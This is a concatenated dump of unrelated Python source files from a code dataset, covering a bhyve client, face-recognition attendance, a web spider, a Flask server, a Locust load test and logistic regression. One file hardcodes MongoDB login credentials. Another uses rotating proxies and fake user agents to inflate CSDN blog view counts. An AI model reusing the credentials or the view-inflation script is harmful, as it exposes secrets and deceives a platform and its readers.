HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\n# IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n#####################################################################\n\nimport threading\nimport socket\nimport nv\nfrom freenas.dispatcher import AsyncResult\n\n\nclass Call(object):\n def __init__(self):\n self.id = None\n self.result = AsyncResult()\n\n\nclass BhyveException(OSError):\n pass\n\n\nclass BhyveClient(object):\n def __init__(self, path):\n self.path = path\n self.thread = None\n self.socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM, 0)\n self.calls = {}\n\n def connect(self):\n self.socket.connect(self.path)\n self.thread = threading.Thread(target=self.recv_thread)\n self.thread.daemon = True\n self.thread.start()\n\n def disconnect(self):\n self.socket.disconnect()\n\n def call(self, service, method, args):\n call = Call()\n call.id = max(self.calls.keys()) if self.calls else 1\n\n msg = nv.NVList({\n 'id': call.id,\n 'service': service,\n 'method': method,\n 'args': args\n })\n\n self.calls[call.id] = call\n msg.send(self.socket)\n\n return call.result.wait()\n\n def recv_thread(self):\n while True:\n msg = nv.NVList.recv(self.socket)\n if not msg:\n break\n\n if 'event' in msg:\n pass\n\n if 'error' in msg:\n call = self.calls[msg['id']]\n error = msg['error']\n\n if error == 0:\n call.result.set(msg.get('response', nv.NVType.NVLIST, None))\n continue\n else:\n call.resul.set_exception(BhyveException())\n continue\n","sub_path":"src/containerd/src/bhyve.py","file_name":"bhyve.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"519597473","text":"import Face_Detector\r\nimport cv2\r\nfrom datetime import date\r\nimport pymongo\r\n\r\ndef student():\r\n cap = cv2.VideoCapture(0)\r\n\r\n dbConn = pymongo.MongoClient(\"mongodb+srv://sakshamshri:mongodb@facedetect.sh3oa.gcp.mongodb.net/Face_ID?retryWrites\"\r\n \"=true&w=majority\")\r\n db = dbConn['Attendance']\r\n try:\r\n while True:\r\n present, roll_no = Face_Detector.face_detect(\"Student\", cap)\r\n if present:\r\n\r\n # code to increase the attendance by 1 and display student Name and Roll NO. #\r\n\r\n d = date.today()\r\n collection = db[str(roll_no)]\r\n row = {\r\n d.isoformat(): \"P\"\r\n }\r\n collection.insert_one(row)\r\n print(str(roll_no) + \" Present\")\r\n print(\"Attendance taken!!!\")\r\n\r\n else:\r\n print(\"Not Present\\nPLease contact admin in case of any problem\")\r\n\r\n while True:\r\n ret, frame = cap.read()\r\n frame = cv2.flip(frame, 1)\r\n image, face = Face_Detector.face_detector(frame)\r\n cv2.putText(image, \"Please Look Into The Camera\", (250, 450), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 255, 0))\r\n cv2.imshow('Face Cropper', image)\r\n cv2.waitKey(1)\r\n if face != []:\r\n break\r\n\r\n except FileNotFoundError:\r\n return \"No Student Registered\\nPlease Contact Admin\"\r\n\r\n cap.release()\r\n cv2.destroyAllWindows()\r\n","sub_path":"Gui_Student.py","file_name":"Gui_Student.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"357382552","text":"\"\"\"Function to train a model.\"\"\"\nfrom time import time\n\nfrom tensorflow.keras.callbacks import EarlyStopping, Callback\n\n\n#from text_recognizer.datasets.dataset import Dataset\nfrom models.base import Model\n\nEARLY_STOPPING = False\n\n\n\n\ndef train_model(model: Model, epochs: int, batch_size: int, use_wandb: bool = False) -> Model:\n \"\"\"Train model.\"\"\"\n callbacks = []\n\n if EARLY_STOPPING:\n early_stopping = EarlyStopping(monitor=\"val_loss\", min_delta=0.01, patience=3, verbose=1, mode=\"auto\")\n callbacks.append(early_stopping)\n\n\n model.network.summary()\n\n t = time()\n _history = model.fit(dataset=dataset, batch_size=batch_size, epochs=epochs, callbacks=callbacks)\n print(\"Training took {:2f} s\".format(time() - t))\n\n return model","sub_path":"training/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"135847553","text":"'''\r\nCreated on Feb 21, 2014\r\n\r\n@author: 310122001\r\n'''\r\nfrom functools import wraps\r\n\r\ndef simpledec(f):\r\n \"A really simple decorator to demonstrate functools.wraps\"\r\n @wraps(f)\r\n def wrapper(arg):\r\n print(\"Calling f with arg\", arg)\r\n return f(arg)\r\n return wrapper \r\n\r\n@simpledec\r\ndef f(x):\r\n 'My f function.................. '\r\n \"Simply prints its argument.\"\r\n print(\"Inside f, arg is\", x)\r\n\r\nif __name__ == \"__main__\":\r\n f(\"Hello\")\r\n print(f.__name__)\r\n print(f.__doc__)\r\n","sub_path":"PythonHomeWork/Py4/Py4_Homework05/src/decorator_wrap.py","file_name":"decorator_wrap.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"118723685","text":"from urllib.request import urlopen,Request\nfrom html.parser import HTMLParser\nfrom urllib.parse import urlparse\nfrom numpy import *\n\nclass Myparser(HTMLParser):\n def __init__(self,url):\n HTMLParser.__init__(self)\n self.url=url\n self.Link={}\n \n def handle_starttag(self,tag,attrs):\n if tag == 'a':\n for i in attrs:\n if i[0]=='href':\n inter=urlparse(i[1])\n if inter[0]=='' and inter[1]=='':\n link=self.url+inter[2]\n elif inter[0]=='https' or inter[0]=='http':\n link=inter[0]+'://'+inter[1]+inter[2]\n else: \n link='http://'+inter[0]+inter[1]+inter[2]\n\n if link not in self.Link:\n self.Link[link]=1\n else:\n self.Link[link]+=1\n\ndef spider(url,degree):\n global spider_degree\n global array_inter1\n global array_inter2\n parser=Myparser(url)\n req=Request(url,headers={'User-agent':'Mozilla 5.10'})\n try:\n html=urlopen(req)\n parser.feed(str(html.read(), encoding='utf8'))\n except:\n return\n array_inter1=[]\n array_inter2=[]\n for i in parser.Link:\n Queue.append(i)\n if degree==1:\n array_inter1.append(i)\n array_inter2.append(parser.Link[i])\n else:\n if i in array1[Url]:\n array_inter1.append(i)\n array_inter2.append(parser.Link[i])\n if degree=e):\n p=P\n P=A*P\n\ndic={}\nfor i in range(len(name)):\n dic[name[i]]=p[i,0]\n\nfor i in sorted(dic,key=dic.__getitem__,reverse=True):\n print(i,dic[i])\n\n#http://scse.buaa.edu.cn/\n#https://news.sina.com.cn/\n","sub_path":"pagerank.py","file_name":"pagerank.py","file_ext":"py","file_size_in_byte":3007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"382758018","text":"import copy\nfrom yggdrasil.metaschema.datatypes import encode_type, compare_schema\nfrom yggdrasil.metaschema.properties.MetaschemaProperty import MetaschemaProperty\n\n\nclass ItemsMetaschemaProperty(MetaschemaProperty):\n r\"\"\"Property class for 'items' property.\"\"\"\n\n name = 'items'\n _replaces_existing = True\n _validate = False\n\n @classmethod\n def encode(cls, instance, typedef=None):\n r\"\"\"Encoder for the 'items' container property.\"\"\"\n if isinstance(typedef, (list, tuple)):\n typedef_list = typedef\n else:\n typedef_list = [copy.deepcopy(typedef) for x in instance]\n assert(len(typedef_list) == len(instance))\n return [encode_type(v, typedef=t) for v, t in zip(instance, typedef_list)]\n\n @classmethod\n def compare(cls, prop1, prop2, root1=None, root2=None):\n r\"\"\"Comparison method for 'items' container property.\"\"\"\n if isinstance(prop1, dict) and isinstance(prop2, dict):\n for e in compare_schema(prop1, prop2, root1=root1, root2=root2):\n yield e\n return\n elif isinstance(prop1, dict) and isinstance(prop2, cls.python_types):\n for p2 in prop2:\n for e in compare_schema(prop1, p2, root1=root1, root2=root2):\n yield e\n return\n elif isinstance(prop1, cls.python_types) and isinstance(prop2, dict):\n for p1 in prop1:\n for e in compare_schema(p1, prop2, root1=root1, root2=root2):\n yield e\n return\n elif not (isinstance(prop1, cls.python_types)\n and isinstance(prop2, cls.python_types)):\n yield \"Values have incorrect type: %s, %s.\" % (type(prop1), type(prop2))\n return\n if len(prop1) != len(prop2):\n yield 'Unequal number of elements. %d vs. %d' % (len(prop1), len(prop2))\n for p1, p2 in zip(prop1, prop2):\n for e in compare_schema(p1, p2, root1=root1, root2=root2):\n yield e\n","sub_path":"yggdrasil/metaschema/properties/JSONArrayMetaschemaProperties.py","file_name":"JSONArrayMetaschemaProperties.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"99097552","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 19 15:17:24 2019\n\n@author: YANG\n功能:实现快速提升访问量\n\"\"\"\nfrom IncreaseCsdnPv import AutoPvUp\nfrom fake_useragent import UserAgent\nimport time\nimport random\n\nclass amazing_fast(object):\n \n def total_url_finish(self, blog_link):\n #所有博文链接访问一次,返回访问成功数\n \n succ_num = 0 #初始化成功次数\n #循环访问博文实现访问数+1 \n \n for url in blog_link:\n proxies = AutoPvUp().get_proxies()\n user_agent = UserAgent().random \n referer = AutoPvUp().get_referer()\n headers = {'User-Agent' : user_agent, 'Referer' : referer}\n try:\n succ_flag = AutoPvUp().crawl(url, headers, proxies = proxies)\n if succ_flag:\n succ_num += 1\n except: \n continue\n \n time.sleep(4 * random.random()) #平均休眠两秒防止访问过于密集\n \n blog_num = len(blog_link)\n print(u\"访问成功数{},总博文数{},访问成功率{:.2f}%\".format(\n succ_num, blog_num, succ_num / blog_num * 100))\n \n return succ_num #返回每轮成功的访问数\n \n def refresh(self, pv_each_article = 1):\n #设置希望每篇文章增加的pv数\n \n #前期准备\n info = AutoPvUp().get_article_info() \n blog_link = [one['href'] for one in info]\n blog_num = len(blog_link)\n read_num = [int(one['read_num']) for one in info]\n total_read_num_before = sum(read_num) #刷量之前的总访问量\n \n total_succ_num = 0\n \n for i in range(pv_each_article):\n #循环n次\n succ_num = self.total_url_finish(blog_link = blog_link)\n total_succ_num += succ_num\n \n info = AutoPvUp().get_article_info() \n total_read_num_after = sum([int(one['read_num']) for one in info])\n \n print(u\"访问量由{}增长为{}\".format(total_read_num_before, total_read_num_after))\n print(u\"预计刷量{},实际访问成功{},最终实际访问量增长{}\".format(\n pv_each_article * blog_num, total_succ_num, total_read_num_after - total_read_num_before))\n \n'''测试模块功能\nTest = amazing_fast()\nTest.refresh(pv_each_article = 2)\n'''\n\n'''\n有两个神奇的小问题:\n(1)自己登陆后查看的访问量要高于爬虫得到的访问量\n(2)博文列表俩民出现了其他作者的链接\nhttps://blog.csdn.net/yoyo_liyy/article/details/82762601\n'''\n","sub_path":"FastRefresh.py","file_name":"FastRefresh.py","file_ext":"py","file_size_in_byte":2644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"141274459","text":"# Exercise :\n# Write smallest_positive which is a function that finds the smallest positive number in a list.\ndef smallest_positive(num_list):\n\tsmallest_pos_num = None\n\tfor num in num_list:\n\t\tif num > 0:\n\t\t\tif smallest_pos_num == None or smallest_pos_num > num:\n\t\t\t\tsmallest_pos_num = num\n\treturn smallest_pos_num\n\n# Test Cases\nprint(smallest_positive([4, -6, 7, 2, -4, 10])) # 2\nprint(smallest_positive([0.2, 5, 3, -.01, 7, 7, 6])) # 0.2\n\n# The data structure format is:\n\n# { : { : { : , ... },\n# ... },\n# ... }\n\ncourses = {\n 'spring2020': { 'cs101': {'name': 'Building a Search Engine',\n 'teacher': 'Dave',\n 'assistant': 'Peter C.'},\n 'cs373': {'name': 'Programming a Robotic Car',\n 'teacher': 'Sebastian',\n 'assistant': 'Andy'}},\n 'fall2020': { 'cs101': {'name': 'Building a Search Engine',\n 'teacher': 'Dave',\n 'assistant': 'Sarah'},\n 'cs212': {'name': 'The Design of Computer Programs',\n 'teacher': 'Peter N.',\n 'assistant': 'Andy',\n 'prereq': 'cs101'},\n 'cs253': {'name': 'Web Application Engineering - Building a Blog',\n 'teacher': 'Steve',\n 'prereq': 'cs101'},\n 'cs262': {'name': 'Programming Languages - Building a Web Browser',\n 'teacher': 'Wes',\n 'assistant': 'Peter C.',\n 'prereq': 'cs101'},\n 'cs373': {'name': 'Programming a Robotic Car',\n 'teacher': 'Sebastian'},\n 'cs387': {'name': 'Applied Cryptography',\n 'teacher': 'Dave'}},\n 'spring2044': { 'cs001': {'name': 'Building a Quantum Holodeck',\n 'teacher': 'Dorina'},\n 'cs003': {'name': 'Programming a Robotic Robotics Teacher',\n 'teacher': 'Jasper'},\n }\n }\n\n# In this exercise, you will need to complete the function \n# when_offered(courses, course). This function accepts a \"courses\" \n# data structure and a \"course\" string. \n# The function should return a list of strings representing the semesters \n# when the input course is offered. See the two test cases below for examples \n# of correct results.\n\ndef when_offered(courses, course):\n\tsemesters = []\n\tfor semester in courses:\n\t\tif course in courses[semester]:\n\t\t\tsemesters.append(semester)\n\treturn semesters\n\nprint(when_offered(courses, 'bio893')) # []\n\nprint(when_offered(courses, 'cs101')) # ['spring2020', 'fall2020']","sub_path":"05_Control_Structures.py","file_name":"05_Control_Structures.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"177685424","text":"import json\nimport selectScraping # 파이썬 함수 임포트\nfrom flask import Flask, request, render_template,jsonify\nfrom flask_cors import CORS #크로스오리진 허용 매우중요\nscraper = selectScraping \n\napp = Flask(__name__)\napp.config['JSON_AS_ASCII'] = False # 노드서버로 데이터 던져줄때 한글깨져서 추가함 \ncors = CORS(app) #크로스오리진 허용 매우중요\n\n\n\n\n@app.route('/request2', methods =['POST']) #일반 신용 대출 금리 계산 처리 서버 \ndef request2():\n # value = request.form['SensorID'] 신용등급 받아와야함\n a= scraper.hi()\n return a # 이건 jsonify하면 오류남 애초부터 노드한테 던져줄때 딕셔너리 : 리스트 형태로 던져서 괜찬\n\n\n\n@app.route('/request3', methods =['POST']) # 원리금 균등 , 원금 균등 , 만기일시 상환 처리 서버\ndef request3():\n # value = request.form['SensorID'] 신용등급 받아와야함\n b= scraper.fin()\n return jsonify(b) # 원래는 항상 jsonify로 던져줘야함 알겟쥐?\n\n\n\n@app.route('/test', methods =['POST']) # 원리금 균등 , 원금 균등 , 만기일시 상환 처리 서버\ndef test():\n # value = request.form['SensorID'] 신용등급 받아와야함\n\n return jsonify(\"d\") # 원래는 항상 jsonify로 던져줘야함 알겟쥐?\n\n\n\n\n\n\n# @app.route('/')\n# def index():\n# return render_template('index.html')\n\n\n# @app.route('/register', methods=['GET','POST'])\n# def register():\n \n# if request.method == 'GET':\n# return render_template('register.html')\n\n \n# if request.method == 'POST':\n# return render_template('register.html')\n\n\nif __name__ == '__main__':\n app.run(host='your ec2 domain', port=5000, debug=True)\n","sub_path":"financial-chatbot/Python_Server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"494595297","text":"from config import Config\r\nfrom locust import HttpLocust, TaskSet, task\r\nimport urllib3\r\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\r\n\r\nconfig = Config()\r\n\r\n\r\nclass UserBehavior(TaskSet):\r\n\r\n def __init__(self, parent):\r\n super().__init__(parent)\r\n self.token = self.get_auth()\r\n self.header = {'Authorization': self.token, 'content-type': 'application/json'}\r\n self.header_bearer = {'Authorization': 'Bearer {}'.format(self.token), 'content-type': 'application/json'}\r\n \r\n self.account_url = '/accountservice/rest/account'\r\n self.account_simple_url = '/accountservice/rest/account/simple'\r\n self.account_address_url = '/accountservice/rest/account/{}/addresses/default'\r\n self.user_id = None\r\n \r\n self.dashboard_my_stats_1_url = '/accountservice/rest/account'\r\n self.dashboard_my_stats_2_url = '/DistributorService/api/Commissions/GetPeriodAccountCommissionData?PageNumber=1&PageSize=10&Term=&accountId={0}&periodId={1}/DistributorService/api/Commissions/GetPeriodAccountCommissionDataRange?accountId={0}&range=6'\r\n self.dashboard_my_stats_3_url = '/DistributorService/api/Commissions/GetPeriodAccountCommissionDataRange?accountId={}&range=6'\r\n self.dashboard_keyleaderboard_url = '/acctservice/api/v1/ext/Report/account/keyLeaderBoard'\r\n self.dasboard_mytitles_url = '/DistributorService/api/DistributorManagement/AccountData?customerId={}'\r\n \r\n self.downline_viewer_url = '/distService/api/v1/ext/distributor/tree?keyLeaderView=false&sponsorType=Binary'\r\n self.downline_search_url = '/distService/api/v2/ext/distributor/tree/search'\r\n self.downline_keyleaders_url = '/distService/api/v1/ext/distributor/tree?keyLeaderView=true&sponsorType=Binary'\r\n self.downline_member_profile_1_url = '/DistributorService/api/Commissions/GetPeriodAccountCommissionData?PageNumber=1&PageSize=10&Term=&accountId={0}&periodId={1}'\r\n self.downline_member_profile_2_url = '/distService/api/v1/ext/distributor/autoship/breakdown?custId={0}&periodId={1}&trackingCenter=1'\r\n self.downline_member_profile_3_url = '/DistributorService/api/DistributorManagement/AccountData?customerId={}'\r\n self.downline_full_member_profile_1_url = '/ordService/api/v2/order/ext/history'\r\n # self.downline_full_member_profile_2_url = '/accountservice/api/reports/GetFullProfile'\r\n self.downline_full_member_profile_2_url = '/acctservice/api/v1/ext/report/FullProfile?PeriodId=201911&Index=1&SponsorType=2&DownlineAccountId={}'\r\n self.downline_full_member_profile_3_url = '/DistributorService/api/Commissions/GetPeriodAccountCommissionData?accountId={0}&periodId={1}'\r\n \r\n self.reports_comission_url = '/distService/api/v1/ext/distributor/tree?keyLeaderView=true&sponsorType=Binary'\r\n self.reports_vol_tracker_url = '/DistributorService/api/Commissions/GetPeriodAccountCommissionData?PageNumber=1&PageSize=10&Term=&accountId={}&periodId=201911'\r\n self.reports_personal_pin_1_url = '/DistributorService/api/DistributorManagement/AccountData?customerId={}'\r\n self.reports_personal_pin_2_url = '/AccountService/api/reports/personalPinLevel'\r\n self.reports_autoship_url = '/accountservice/api/reports/autoshipMatrix'\r\n self.reports_korean_tax_url = '/api/v1/ext/report/koreaTaxDataPdf'\r\n \r\n self.shop_categories_url = '/prdService/api/v1/Product/categories/us'\r\n self.shop_prod_list_url = '/prdService/api/v1/Product/us?PageSize=10&cartType=STRD%7CAUTO&category=All%20Products&custType=DIST&language=en'\r\n self.shop_product_url = '/productsservice/api/productsInfo/us/SU94320'\r\n \r\n self.view_autoship_1_url = '/ordService/api/v2/ext/autoships?includeProductInfo=true'\r\n self.view_autoship_2_url = '/accountservice/rest/account/'\r\n self.view_autoship_3_url = '/ordService/api/v2/ext/autoship/{}/totals'\r\n \r\n self.order_history_view_history_1_url = '/ordService/api/v2/order/ext/history?DownlineAccountId={}&IncludeCount=1&PageNumber=1&PageSize=10&Term=&end=2019-11-04&isCustomerOnly=false&sortBy=OrderDate&sortDirection=true&start=2019-05-04'\r\n self.order_history_view_history_2_url = '/accountservice/rest/account/simple'\r\n self.order_history_ord_status_url = '/ordService/api/v2/order/ext/{}?calculatedVatTotals=true&includeProductInfo=true'\r\n \r\n def get_auth(self):\r\n \r\n payload = {\r\n \"email\": config.email,\r\n \"password\": config.password,\r\n \"returnSecureToken\": \"true\"\r\n }\r\n response = self.client.post(\r\n 'https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyPassword?key={}'.format(config.token),\r\n json=payload)\r\n token = response.json().get('idToken')\r\n return token\r\n\r\n # @task\r\n def my_profile(self):\r\n r1 = self.client.get(self.account_url, headers=self.header, verify=False)\r\n # assert r1.status_code == 200\r\n response = self.client.get(self.account_simple_url, headers=self.header, verify=False)\r\n self.user_id = response.json().get('id')\r\n assert self.user_id != ''\r\n r2 = self.client.get(self.account_address_url.format(self.user_id), headers=self.header, verify=False)\r\n # assert r2.status_code == 200\r\n r3 = self.client.get(self.account_url, headers=self.header, verify=False)\r\n # assert r3.status_code == 200\r\n\r\n # @task\r\n def dashboard(self):\r\n periods = [201911,201910,201909,201908,201907,201811]\r\n r1 = self.client.get(self.dashboard_my_stats_1_url, headers=self.header, verify=False)\r\n # assert r1.status_code == 200\r\n for stamp in periods:\r\n r2 = self.client.get(self.dashboard_my_stats_2_url.format(self.user_id, stamp), headers=self.header, verify=False)\r\n # assert r2.status_code == 200\r\n r3 = self.client.get(self.dashboard_my_stats_3_url.format(self.user_id), headers=self.header, verify=False)\r\n # assert r3.status_code == 200\r\n r4 = self.client.get(self.dashboard_keyleaderboard_url, headers=self.header_bearer, verify=False)\r\n # assert r4.status_code == 200\r\n r5 = self.client.get(self.dasboard_mytitles_url.format(self.user_id), headers=self.header_bearer, verify=False)\r\n # assert r5.status_code == 200\r\n \r\n # @task\r\n def downline_viewer(self):\r\n # TODO fix 5\r\n payload1 = {\r\n \"accountId\": \"0\",\r\n \"baseCustId\": self.user_id,\r\n \"getUpline\": \"false\",\r\n \"keyLeaderView\": \"false\",\r\n \"levels\": \"10\",\r\n \"moveUpLevels\": \"0\",\r\n \"outsideLeft\": \"false\",\r\n \"outsideRight\": \"false\",\r\n \"sponsorType\": \"Binary\"\r\n }\r\n payload2 = {\r\n \"pageNumber\": 1,\r\n \"pageSize\": 20,\r\n \"term\": \"d\"\r\n }\r\n payload3 = {\r\n \"accountId\": 0,\r\n \"baseCustId\": self.user_id,\r\n \"getUpline\": \"false\",\r\n \"keyLeaderView\": \"true\",\r\n \"levels\": 50,\r\n \"moveUpLevels\": 0,\r\n \"outsideLeft\": \"false\",\r\n \"outsideRight\": \"false\",\r\n \"sponsorType\": \"Binary\"\r\n }\r\n periods = [201906,201907,201908,201909,201910,201911]\r\n r1 = self.client.post(self.downline_viewer_url, headers=self.header_bearer, json=payload1, verify=False)\r\n # assert r1.status_code == 200\r\n r2 = self.client.post(self.downline_search_url, headers=self.header_bearer, json=payload2, verify=False)\r\n # assert r2.status_code == 200\r\n customers_list = [item['custId'] for item in r2.json().get('items')]\r\n r3 = self.client.post(self.downline_keyleaders_url, headers=self.header_bearer, json=payload3, verify=False)\r\n # assert r3.status_code == 200\r\n for stamp in periods:\r\n r4 = self.client.get(self.downline_member_profile_1_url.format(self.user_id, stamp), headers=self.header_bearer, verify=False)\r\n # assert r4.status_code == 200\r\n # r5 = self.client.get(self.downline_member_profile_2_url.format(customers_list[0], stamp), headers=self.header_bearer, verify=False)\r\n # assert r5.status_code == 200\r\n r51 = self.client.get(self.downline_member_profile_3_url.format(customers_list[0]), headers=self.header_bearer, verify=False)\r\n # assert r51.status_code == 200\r\n for stamp in periods:\r\n r6 = self.client.get(self.downline_full_member_profile_1_url, headers=self.header_bearer, verify=False)\r\n # assert r6.status_code == 200\r\n r7 = self.client.get(self.downline_full_member_profile_2_url.format(self.user_id), headers=self.header_bearer, verify=False)\r\n # assert r7.status_code == 200\r\n r8 = self.client.get(self.downline_full_member_profile_3_url.format(self.user_id, stamp), headers=self.header_bearer, verify=False)\r\n # assert r8.status_code == 200\r\n \r\n # @task\r\n def reports(self):\r\n # TODO fix 6 if use korean account\r\n payload1 = {\r\n \"accountId\": 0,\r\n \"baseCustId\": self.user_id,\r\n \"getUpline\": \"false\",\r\n \"keyLeaderView\": \"false\",\r\n \"levels\": 10,\r\n \"moveUpLevels\": 0,\r\n \"outsideLeft\": \"false\",\r\n \"outsideRight\": \"false\",\r\n \"sponsorType\": \"Binary\"\r\n }\r\n r1 = self.client.post(self.reports_comission_url, headers=self.header_bearer, json=payload1, verify=False)\r\n # assert r1.status_code == 200\r\n r2 = self.client.get(self.reports_vol_tracker_url.format(self.user_id), headers=self.header_bearer, verify=False)\r\n # assert r2.status_code == 200\r\n r3 = self.client.get(self.reports_personal_pin_1_url.format(self.user_id), headers=self.header_bearer, verify=False)\r\n # assert r3.status_code == 200\r\n r4 = self.client.post(self.reports_personal_pin_2_url, json={\"periodId\": 201911}, headers=self.header, verify=False)\r\n # assert r4.status_code == 200\r\n r5 = self.client.post(self.reports_autoship_url, headers=self.header, json={}, verify=False)\r\n # assert r5.status_code == 200\r\n # r6 = self.client.get(self.reports_korean_tax_url, headers=self.header_bearer, verify=False)\r\n # assert r6.status_code == 200\r\n\r\n # @task\r\n def shop(self):\r\n r1 = self.client.get(self.shop_categories_url, headers=self.header_bearer, verify=False)\r\n # assert r1.status_code == 200\r\n r2 = self.client.get(self.shop_prod_list_url, headers=self.header_bearer, verify=False)\r\n # assert r2.status_code == 200\r\n r3 = self.client.get(self.shop_product_url, headers=self.header_bearer,\r\n verify=False)\r\n # assert r3.status_code == 200\r\n \r\n # @task\r\n def autoship(self):\r\n r1 = self.client.get(self.view_autoship_1_url, headers=self.header_bearer, verify=False)\r\n # assert r1.status_code == 200\r\n r2 = self.client.get(self.view_autoship_2_url, headers=self.header,\r\n verify=False)\r\n # assert r2.status_code == 200\r\n order_id = 480021 # for userid = 1613866\r\n r3 = self.client.get(self.view_autoship_3_url.format(order_id), headers=self.header_bearer,\r\n verify=False)\r\n # assert r3.status_code == 200\r\n\r\n # @task\r\n def order_history(self):\r\n r1 = self.client.get(self.order_history_view_history_1_url.format(self.user_id), headers=self.header_bearer, verify=False)\r\n order_id_list = [item.get('orderId') for item in r1.json().get('items')]\r\n # assert r1.status_code == 200\r\n r2 = self.client.get(self.order_history_view_history_2_url, headers=self.header,\r\n verify=False)\r\n # assert r2.status_code == 200\r\n for order in order_id_list:\r\n r3 = self.client.get(self.order_history_ord_status_url.format(order), headers=self.header_bearer, verify=False)\r\n # assert r3.status_code == 200\r\n \r\n @task\r\n def main_use_case(self):\r\n self.my_profile()\r\n self.dashboard()\r\n self.downline_viewer()\r\n self.reports()\r\n self.shop()\r\n self.autoship()\r\n self.order_history()\r\n \r\n \r\nclass WebsiteUser(HttpLocust):\r\n host = config.host\r\n task_set = UserBehavior\r\n min_wait = 5000\r\n max_wait = 10000\r\n\r\n\r\nif __name__ == '__main__':\r\n WebsiteUser().run()\r\n","sub_path":"locustfile.py","file_name":"locustfile.py","file_ext":"py","file_size_in_byte":12625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"167983056","text":"numbers = [5, 2, 1, 9, 8, 9]\nuniques = []\nfor number in numbers:\n if number not in uniques:\n uniques.append(number)\n\nprint(uniques)\n\n\n# numbers = [5, 2, 1, 9, 8, 9]\n# numbers.sort()\n# ctr =1\n# for i in numbers:\n# if numbers[ctr] == i:\n# numbers.remove(i)\n# ctr += 1\n# print(numbers)","sub_path":"HellloWorld/11a-removeDups.py","file_name":"11a-removeDups.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"136111841","text":"import numpy as np\nfrom ReluLayer import ReluLayer\nfrom FCLayer import FCLayer\n\nclass FCReluLayer(FCLayer):\n def __init__(self,numOfPrev,numOfNode,arg = None):\n self.actFunc = ReluLayer()\n super().__init__(numOfPrev,numOfNode,arg)\n \n def forProp(self,input,percentToDrop = 0):\n fcResult = super().forProp(input)\n reluResult = self.actFunc.forProp(fcResult,percentToDrop)\n return reluResult\n \n def backProp(self,binput):\n reluResult = self.actFunc.backProp(binput)\n fcResult = super().backProp(reluResult)\n return fcResult\n ","sub_path":"Python/FCReluLayer.py","file_name":"FCReluLayer.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"157579627","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport pandas as pd\nfrom scipy import stats\nimport random\nimport sys\nimport statistics\n\n\n# In[2]:\n\n\ndef feature_result_split(data):\n rows, cols = data.shape\n x = data[:, 0: cols-1]\n y = np.reshape((data[:, -1]), (rows, 1))\n return x, y\n\n\n# In[3]:\n\n\ndef ten_fold_split(dataset):\n folds = 10\n dataset_split = list()\n dataset_copy = list(range(len(dataset)))\n fold_size = int(len(dataset) / folds)\n for i in range(folds):\n fold = list()\n while len(fold) < fold_size:\n index = random.randrange(len(dataset_copy))\n fold.append(dataset_copy.pop(index))\n dataset_split.append(fold)\n \n for i in range(folds):\n if(len(dataset_copy) != 0):\n dataset_split[i].append(dataset_copy.pop(0)) \n \n res = []\n for i in range(folds):\n train_indices = []\n test_indices = []\n for j in range(folds):\n if(i == j):\n test_indices.extend(dataset_split[j])\n else:\n train_indices.extend(dataset_split[j])\n res.append([train_indices, test_indices])\n return res\n\n\n# In[4]:\n\n\ndef sigmoid(X):\n return 1 / (1 + np.exp(-X))\n\n\n# In[5]:\n\n\ndef fit_gradient_descent(X, Y, lRate, tolerance, n_iters, needPlot):\n n_samples, n_features = X.shape\n weights = np.zeros((n_features, 1))\n bias = 0\n prev_cost = 0\n costs = []\n \n for i in range(n_iters):\n model = np.dot(X, weights) + bias\n y_pred = sigmoid(model)\n \n dw = (1 / n_samples) * np.dot(X.T, (y_pred - Y))\n db = (1 / n_samples) * np.sum(y_pred - Y)\n \n weights -= lRate * dw\n bias -= lRate * db\n \n# # loss value\n cost = (-1 / n_samples) * (np.dot(Y.T, np.log(y_pred)) + (np.dot((1 - Y.T), np.log(1 - y_pred))))\n cost_value = cost[0][0]\n costs.append(cost_value)\n if abs(prev_cost - cost_value) < tolerance:\n break\n prev_cost = cost_value\n if needPlot:\n plot_gradient_descent_loss(costs, \"Logistic Regression\")\n return weights, bias\n\n\n# In[6]:\n\n\ndef fit_regularized_gd(X, Y, lRate, tolerance, n_iters, needPlot, lambda_):\n n_samples, n_features = X.shape\n weights = np.zeros((n_features, 1))\n bias = 0\n prev_cost = 0\n costs = []\n \n for i in range(n_iters):\n model = np.dot(X, weights) + bias\n 